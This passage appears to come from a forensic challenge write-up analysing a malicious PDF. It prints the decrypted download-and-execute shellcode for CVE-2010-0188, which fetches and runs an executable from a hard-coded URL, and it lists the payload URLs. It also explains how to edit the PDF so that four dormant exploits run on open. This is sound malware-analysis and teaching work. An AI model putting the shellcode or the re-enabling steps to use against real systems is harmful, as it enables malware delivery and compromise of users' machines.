c417b08d04f156bfc1846dd2c8169f93f8f205011185a7bc8398c078c9ff1cac6055549db4628787d211baac11427a58ea80ea5dd24153c3060e1
b3b7036c9ef6e665395d4d0d430b04a74ba521a679bd786d27baf2d78235dcbe78e738805416911bd8fc45e5c6fa769c6e9de70a69d2b4b3e50
ce97ad2de38012dca7280b86bd15a6761eb011914ca0440d95e06d241cfd435e7cbb1776292a01249d26cde0ffe09824efcb7243aa40e9ff0985
846ca4249c21b460b02f29eb254698b625c6d9278fe45ef4e3533bb930a89406321b4ecfa8a20779b2a509aaa385e9ff542638bfa5771d5dd5468
2c014e9f4d3652af454b97a26c5f88e4086eb9e3f78ec6f1918dd6f54fe0e81e7303f7795902f084b71bfa9dc0371db9a82435cc3f423db70c60171
a7a996f51759e6d548c807e938de7e6331a6c69f9cda3eb917edbc501ee4d7fa89ef40b6430859456a31074c05491ef62d83c93257dd732b5ed4
2db228ba357c436e3e571d87755147be41e870991ce22963c8f
```

List 13: Payload #5 (CVE-2010-0188, TIFF)

All the above payloads have been analyzed by using the IDA Pro. They are implemented similarly and perform the same functionalities. As such only the decrypted assembly of the payload #5 is listed here.

```
0040255D xor ecx, ecx ;
0040255F ffree st(5) ; FPU
00402561 mov eax, 36182C53h ; initial key
00402566 fnstenv [esp+var_C] ; EIP from FPU environ
0040256A pop edi ; EIP in EDI
0040256B mov cl, 66h ; encoded block = 408 byte
0040256D xor [edi+18h], eax ; XOR'ing
00402570 add edi, 4 ; 4 byte a time
00402573 add eax, [edi+14h] ; new key
00402576 loop loc_40256D ; 1st decoder
00402578 jmp short loc_40258A ;
0040257A pop edx ;
0040257B dec edx ; start of encoded block
0040257C xor ecx, ecx ;
0040257E mov cx, 13Ch ; encoded block = 316 byte
00402582 xor byte ptr [edx+ecx], 99h ; XOR'ing with 0X99
00402586 loop loc_402582 ; 2nd decoder
00402588 jmp short loc_40258F ;
0040258A call near ptr sub_40257A ;
0040258F jmp loc_402669 ;
00402594 pop edx ; start getting kernel32.dll base address from PEB
00402595 mov eax, large fs:30h ; PEB
0040259B mov eax, [eax+0Ch] ; PEB_LDR_DATA
0040259E mov esi, [eax+1Ch] ; first entry of InInitializationOrderModuleList
004025A1 lodsd ;
004025A2 mov eax, [eax+8] ; kernel32.dll base memory
004025A5 mov ebx, eax ;
004025A7 mov esi, [ebx+3Ch] ; PE header;
004025AA mov esi, [esi+ebx+78h] ; Export Table;
004025AE add esi, ebx ;
004025B0 mov edi, [esi+20h] ;
004025B3 add edi, ebx ;
004025B5 mov ecx, [esi+14h] ; number of exported functions from kernel32.dll
004025B8 xor ebp, ebp ; reset counter
004025BA push esi ;
004025BB push edi ;
004025BC push ecx ;
004025BD mov edi, [edi] ;
004025BF add edi, ebx ;
004025C1 mov esi, edx ;
004025C3 push 0Eh ; "GetProcAddress"
004025C5 pop ecx ; To calculate address of GetProcAddress()
004025C6 repe cmpsb ; from addresses of kernel32.dll, Ordinals
004025C8 jz short loc_4025D2 ;
004025CA pop ecx ;
004025CB pop edi ;
004025CC add edi, 4 ;
004025CF inc ebp ;
004025D0 loop loc_4025BB ;
004025D2 pop ecx ;
```

```

004025D3 pop edi ;
004025D4 pop esi ;
004025D5 mov ecx, ebp ;
004025D7 mov eax, [esi+24h] ;
004025DA add eax, ebx ;
004025DC shl ecx, 1 ;
004025DE add eax, ecx ;
004025E0 xor ecx, ecx ;
004025E2 mov cx, [eax] ;
004025E5 mov eax, [esi+1Ch] ;
004025E8 add eax, ebx ;
004025EA shl ecx, 2 ;
004025ED add eax, ecx ;
004025EF mov eax, [eax] ; GetProcAddress
004025F1 add eax, ebx ;
004025F3 mov edi, edx ;
004025F5 mov esi, edi ;
004025F7 add esi, 0Eh ;
004025FA mov edx, eax ;
004025FC push 4 ; to resolve four imports from kernel32.dll
004025FE pop ecx ;
004025FF call sub_402654 ; call subroutine retrieve function addresses
00402604 add esi, 0Dh ; urlmon string
00402607 push edx ;
00402608 push esi ; lpFileName=urlmon
00402609 call dword ptr [edi-4] ; call LoadLibrary to load urlmon.dll
0040260C pop edx ;
0040260D mov ebx, eax ;
0040260F push 1 ; to resolve one function from urlmon
00402611 pop ecx ;
00402612 call sub_402654 ; call subroutine to resolve URLDownloadToFile
00402617 add esi, 13h ;
0040261A push esi ;
0040261B inc esi ; retrieve hard-coded URL string
0040261C cmp byte ptr [esi], 80h ; till the end
0040261F jnz short loc_40261B ;
00402621 xor byte ptr [esi], 80h ;
00402624 pop esi ;
00402625 sub esp, 20h ;
00402628 mov ebx, esp ;
0040262A push 20h ; ; uSize=32 byte
0040262C push ebx ; ; lpBuffer= system directory
0040262D call dword ptr [edi-14h] ; ; call GetSystemDirectoryA
00402630 mov dword ptr [ebx+eax], 652E615Ch ; ; append \a.e
00402637 mov dword ptr [ebx+eax+4], 6578h ; ; append ex
0040263F xor eax, eax ;
00402641 push eax ; ; lpfnCB
00402642 push eax ; ; dwReserved
00402643 push ebx ; ; szFileName=C:\Windows\system32\la.exe
00402644 push esi ; ; szURL=http://blog.honeynet.org.my/forensic_challenge/the_real_malware.exe
00402645 push eax ; ; pCaller
00402646 call dword ptr [edi-4] ; ; call URLDownloadToFile
00402647 push edi ;
00402648 cld ;
00402649 mov ebx, esp ;
0040264B push eax ; ; uCmdShow=SW_SHOW(5) activates the windows
0040264C push ebx ; ; lpCmdLine=C:\Windows\system32\la.exe
0040264D call dword ptr [edi-10h] ; ; call WinExec to run the executable
00402650 push eax ; ; dwExitCode
00402651 call dword ptr [edi-0Ch] ; ; call ExitThread
00402651 sub_40264C endp ;
00402654 sub_402654 proc near ; ===== SUBROUTINE: to resolve function address =====
00402654 xor eax, eax ;
00402656 lodsb ;
00402657 test eax, eax ;
00402659 jnz short sub_402654 ;
0040265B push ecx ;
0040265C push edx ;
0040265D push esi ; ; lpProcName

```

```

0040265E  push  ebx                ; hModule
0040265F  call  edx                ; call GetProcAddress
00402661  pop   edx                ;
00402662  pop   ecx                ;
00402663  stosd                    ; output
00402664  loop  sub_402654        ; loop to process another function
00402666  xor   eax, eax          ;
00402668  retn                    ;
00402668  sub_402654 endp        ;
    
```

List 14: Decrypted Payload #5 (CVE-2010-0188, TIFF)

As you can see from the above list, the payload is a “download&execute” shellcode. It starts with 2 rounds of XOR decryption, followed by resolving the memory addresses of 6 required APIs. Then it obtains the system directory thru the GetSystemDirectory API, downloads a file from a hard-coded URL link thru the URLDownloadToFile API, saves the file in “C:\Windows\system32” with a name “a.exe”, and finally runs the executable via WinExec API. Below are the 5 URL links found in the five payloads.

- Payload #1 - CVE-2009-4324: http://blog.honeynet.org.my/forensic_challenge/malware1.exe
- Payload #2 - CVE-2008-2992: http://blog.honeynet.org.my/forensic_challenge/malware_2.exe
- Payload #3 - CVE-2007-5659: http://blog.honeynet.org.my/forensic_challenge/3malware.exe
- Payload #4 - CVE-2009-0927: http://blog.honeynet.org.my/forensic_challenge/malware.4.exe
- Payload #5 - (CVE-2010-0188, TIFF): http://blog.honeynet.org.my/forensic_challenge/the_real_malware.exe

Payload #5 is the only one that will be executed when first opening the PDF. The other four payloads will work individually, but none will be fired from the PDF file, due to the same reasons discussed in Question 8, *i.e.* lack of action trigger and broken JavaScript.

Question 10. With the understanding of the PDF format structure, please explain how we can enable other exploits to run when the PDF file is opened.	Possible Points: 2pts
------------------------------------------------------------------------------------------------------------------------------------------------------	-----------------------

Tools Used: NA
 Awarded Points:

Answer 10.

The following changes can be made to enable the other four exploits to run when the PDF file is opened.

- As we already know, these four exploits are embedded in the final stage JavaScript and there exists an inactive execution path for generating and running the script. One easy solution is to change the root entry in the trailer to have it refer to Obj1 instead of the current position Obj27. That way the path will be enabled and the /OpenAction can be applied to Obj4.
- However, the exploits will not run before fixing the script. All the four comments with double forward slashes, *e.g.* the “// notepad.exe payload”, need to be removed for the Adobe reader to interpret the script.
- After getting to this stage, we still need to pick a “correct” version of Adobe reader for the exploits to succeed. The reader need to be not only vulnerable to a specific exploit, but also being able to get thru the tricky version selector in the script. As already discussed in Question 8, the 2nd char will always be null or a dot, regardless the reader being used.

<p>Bonus 2. Please provide an automated solution to extract and analyze JavaScript code within the PDF file. Be creative! (describe your solution below, but submit any source code and executable in a compressed zip file with file name [your email]_Forensic Challenge 2010 – Challenge 6 – Bonus2.zip via our submission form http://www.honeynet.org/challenge2010/.)</p>	<p>Possible Points: 1pt</p>
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------	-----------------------------

Tools Used:

Awarded Points:

Answer Bonus 2.

Below is my pseudo code for the utility (in development).

```

/*****
*@Title: PDF JavaScript extractor (pseudo code)
*@Date: Novmber, 2010
*@Author: mt00at@gmail.com
*****/

String extractJavaScriptFromThePDF(){
  search the PDF file for the key "JS";
  store the search result in a hashTable "JS_keys"
  while (JS_keys is not empty){
    while(checkAdditionalPDFStream (raw_javascript) returns "something"){
      stream = readStream(location_of_next_stream);
      If (compressed)
        stream = inflateStream (stream, filter);
      raw_javascript = parseJavaScript(raw_javascript , steam);
      raw_javascript = evaluateJavaScript (raw_javascript);
    }
  }
  return raw_javascript
}

//OUTPUT: final_javascript= raw_javascript

String checkAdditionalPDFStream(String raw_javascript){
  //this.info.title
  //getAnnots
  //anything else...
  return location_of_next_stream;
}

String inflateStream (String stream, String filter){
  return inflated_stream;
}

String parseJavaScript(String raw_javascript, String steam){
  //check against illegal chars
  return new_raw_javascript;
}

String evaluateJavaScript (String raw_javascript){
  //run_SpiderMonkey();
  return defuscated_javascript;
}

```